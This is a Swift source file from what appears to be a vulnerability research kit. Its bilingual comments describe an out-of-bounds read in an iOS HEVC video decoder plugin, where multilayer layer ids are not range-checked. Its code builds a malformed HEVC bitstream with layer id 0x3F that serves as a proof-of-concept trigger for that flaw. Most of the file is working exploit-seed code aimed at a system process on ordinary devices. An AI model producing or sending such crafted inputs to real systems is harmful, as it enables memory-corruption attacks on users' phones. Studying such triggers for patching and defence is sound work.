// vid.hevc · AVD.videodecoder 插件 · CVE-2026-112415
// 原语: OOB 读 · 系统进程 · tier 2
// Primitive: OOB read · system process · tier 2
//
// [zh] MVHEVC 层 ID 越界
// 多层 HEVC 的 layer id 在 27.0 未做范围校验，越界值直接进入插件的层表索引。27.2 补入层 ID 校验。
//
// [en] MVHEVC layer id out of range
// Multilayer HEVC layer ids are not range-checked on 27.0, so an out-of-range value goes straight
// into the plugin's layer table index. iOS 27.2 adds layer id validation.
// ── 判别 / oracle ──
// 层 ID 取 0x3F（有效范围之外）。

import Foundation

// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
enum B {
    static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
    static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
    static func be32(_ v: UInt32) -> [UInt8] {
        [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)]
    }
    static func le32(_ v: UInt32) -> [UInt8] {
        [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)]
    }
    static func be64(_ v: UInt64) -> [UInt8] {
        (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) }
    }
    static func le64(_ v: UInt64) -> [UInt8] {
        (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) }
    }
    static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) }
    static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) }
    static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
}

// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (VideoPayload) ──
enum VideoPayload {
static func hevcBadLayerID(layerID: UInt8 = 0x3F) -> Data {
        var out = Data()
        out.append(contentsOf: [0, 0, 0, 1])
        // VPS NAL with a two-byte header carrying an out-of-range layer id
        out.append(contentsOf: [0x40, 0x01, layerID, 0x0C, 0x01, 0xFF, 0xFF, 0x01, 0x60])
        out.append(contentsOf: [0, 0, 0, 1])
        out.append(contentsOf: [0x42, 0x01, layerID, 0x01, 0x60, 0x00])
        out.append(contentsOf: [UInt8](repeating: 0x00, count: 16))
        return out
    }

}